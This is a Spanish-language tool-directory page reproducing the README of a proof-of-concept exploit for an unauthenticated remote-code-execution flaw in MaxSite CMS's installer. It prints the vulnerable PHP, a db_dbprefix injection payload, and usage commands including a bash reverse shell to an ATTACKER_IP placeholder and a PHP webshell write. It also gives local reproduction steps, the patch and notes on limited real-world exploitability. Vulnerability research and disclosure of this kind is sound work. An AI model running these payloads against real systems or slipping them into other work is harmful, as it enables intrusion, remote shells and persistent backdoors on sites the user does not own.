Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-70553-PoC — Exploit de prueba de concepto para CVE-2026-70553, que permite RCE no autenticado en MaxSite CMS mediante inyección persistente de PHP en database.php a través del endpoint de instalación. | Kitploit
Herramientas/GitHubGitHub/woshidashabi1126/cve-2026-70553-poc
Generación de PayloadsExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAprendizaje y Educación
GitHubwoshidashabi1126/cve-2026-70553-poc

CVE-2026-70553-PoC

Exploit de prueba de concepto para CVE-2026-70553, que permite RCE no autenticado en MaxSite CMS mediante inyección persistente de PHP en database.php a través del endpoint de instalación.

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Ver Repositorio
11hace 1 mesAún no revisado
Compartir

CVE-2026-70553 - RCE no autenticado en MaxSite CMS

CVE CVSS

Prueba de concepto para CVE-2026-70553: Ejecución remota de código no autenticada en MaxSite CMS mediante inyección persistente de código PHP en database.php a través del endpoint de instalación.


Aviso legal

Este PoC es solo para fines educativos y de investigación de seguridad autorizada. El autor no es responsable de ningún uso indebido o daño causado por este código. Pruebe únicamente contra sistemas que le pertenezcan o para los que tenga permiso explícito por escrito.


Resumen de la vulnerabilidad

Las versiones 105.2 a 109.5 de MaxSite CMS contienen una vulnerabilidad crítica de ejecución remota de código no autenticada en el endpoint de instalación. El parámetro db_dbprefix se concatena directamente en código PHP sin saneamiento, lo que permite a los atacantes inyectar sentencias PHP arbitrarias en . Dado que este archivo se incluye en cada petición, el código inyectado logra una RCE persistente.

application/config/database.php

Versiones afectadas

  • MaxSite CMS 105.2 - 109.5
  • Corregido en: 109.6 (2026-06-08)

Detalles técnicos

Causa raíz

En install/installer/functions.php, la función newDatabase() construye el contenido de database.php:

root@kitploit:~
function newDatabase($PV)
{
    if (file_exists(MSODIR . 'application/config/database.php-distr')) {
        $file = file_get_contents(MSODIR . 'application/config/database.php-distr');
        
        // ... other replacements ...
        
        // VULNERABLE LINE: No sanitization of $PV['db_dbprefix']
        $file = str_replace('$db[\'default\'][\'dbprefix\'] = \'mso_\';', 
                            '$db[\'default\'][\'dbprefix\'] = \'' . $PV['db_dbprefix'] . '\';', 
                            $file);
        
        file_put_contents(MSODIR . 'application/config/database.php', $file);
        return false;
    }
    // ...
}

Mecanismo de explotación

Al inyectar una carga útil como:

root@kitploit:~
db_dbprefix=mso_'; system('id'); //

El database.php generado se convierte en:

root@kitploit:~
$db['default']['dbprefix'] = 'mso_'; system('id'); //';

Esto rompe el literal de cadena e inyecta código PHP arbitrario.

Parche (109.6)

La corrección añadió una verificación para evitar la reinstalación:

root@kitploit:~
if (file_exists(MSODIR . 'application/config/database.php-distr')
    and
    !file_exists(MSODIR . 'application/config/database.php'))  // NEW CHECK
{
    // ... create database.php only if it doesn't exist
}

Uso

Instalación

root@kitploit:~
git clone https://github.com/woshidashabi1126/CVE-2026-70553-PoC.git
cd CVE-2026-70553-PoC
pip3 install requests

Uso básico

root@kitploit:~
# Check if target has accessible install endpoint
python3 exploit.py http://target.com --check-only

# Exploit with default payload (creates poc_test.txt)
python3 exploit.py http://target.com

# Custom payload: reverse shell
python3 exploit.py http://target.com \
  --cmd 'system("bash -c \"bash -i >& /dev/tcp/ATTACKER_IP/9001 0>&1\"");'

# Custom payload: write webshell
python3 exploit.py http://target.com \
  --cmd 'file_put_contents("shell.php", "<?php system(\$_GET[0]); ?>");'

Opciones

root@kitploit:~
--cmd           Código PHP a inyectar (por defecto: prueba de escritura de archivo)
--check-only    Solo comprobar si el endpoint de instalación es accesible
--db-host       Hostname de la base de datos (por defecto: localhost)
--db-user       Usuario de la base de datos (por defecto: test)
--db-pass       Contraseña de la base de datos (por defecto: test)
--db-name       Nombre de la base de datos (por defecto: test)

Limitaciones de explotación

CRÍTICO: esta vulnerabilidad tiene graves limitaciones prácticas en escenarios del mundo real.

Requisitos

  1. El endpoint de instalación debe ser accesible (que el directorio /install/ no se haya eliminado)
  2. Las tablas de la base de datos NO deben existir aún (instalación nueva o base de datos vaciada)
    • La función newDatabase() solo se llama si las tablas no existen
    • Esto se comprueba en install/installer/post.php mediante checkTableExists()

Por qué la mayoría de los sitios NO son vulnerables

  • Los sitios en producción han completado la instalación → Las tablas existen → newDatabase() nunca se llama
  • Incluso si /install/ es accesible, la ruta de código hacia la inyección está bloqueada por la comprobación de existencia de tablas
  • Nuestro escaneo masivo encontró que solo ~24% de los sitios tenían el endpoint de instalación accesible, y 0% eran realmente explotables debido a las tablas de base de datos existentes

Explotabilidad en el mundo real

  • Teórica: Crítica (CVSS 9.8)
  • Práctica: Muy baja
  • Perfil realista del objetivo:
    • Instalación interrumpida a mitad del proceso
    • Base de datos eliminada manualmente pero el código permanece
    • Instancias nuevas de prueba/desarrollo (no producción)

Reproducción local

Para verificar esta vulnerabilidad en un entorno controlado:

Configurar el entorno vulnerable

root@kitploit:~
# 1. Download vulnerable version
wget https://github.com/maxsite/cms/archive/refs/tags/109.5.zip
unzip 109.5.zip && cd cms-109.5

# 2. Start PHP built-in server
php -S 127.0.0.1:8000

# 3. In another terminal, run exploit
python3 exploit.py http://127.0.0.1:8000

Verificar la inyección

root@kitploit:~
# Check if database.php was modified
cat application/config/database.php | grep dbprefix

# Should see injected code:
# $db['default']['dbprefix'] = 'mso_'; file_put_contents(...); //';

# Trigger execution
curl http://127.0.0.1:8000/

# Verify test file created
curl http://127.0.0.1:8000/poc_test.txt

Referencias

  • CVE-2026-70553 - CVE Record
  • NVD Entry
  • VulnCheck Advisory
  • MaxSite CMS GitHub
  • Patch Commit (109.6)

Cronología

  • 2026-06-08: MaxSite CMS 109.6 publicado con la corrección
  • 2026-08-04: CVE-2026-70553 publicado
  • 2026-08-06: PoC publicado

Créditos

  • Descubrimiento: Amir Aliu y Enrik Mustafa (VulnCheck)
  • Desarrollo del PoC: Investigador de seguridad
  • Proveedor: Equipo de MaxSite CMS

Licencia

Este proyecto se publica bajo la Licencia MIT. Consulte LICENSE para más detalles.


Recuerde: Practique siempre la divulgación responsable y obtenga la autorización adecuada antes de realizar pruebas.

Descargar herramienta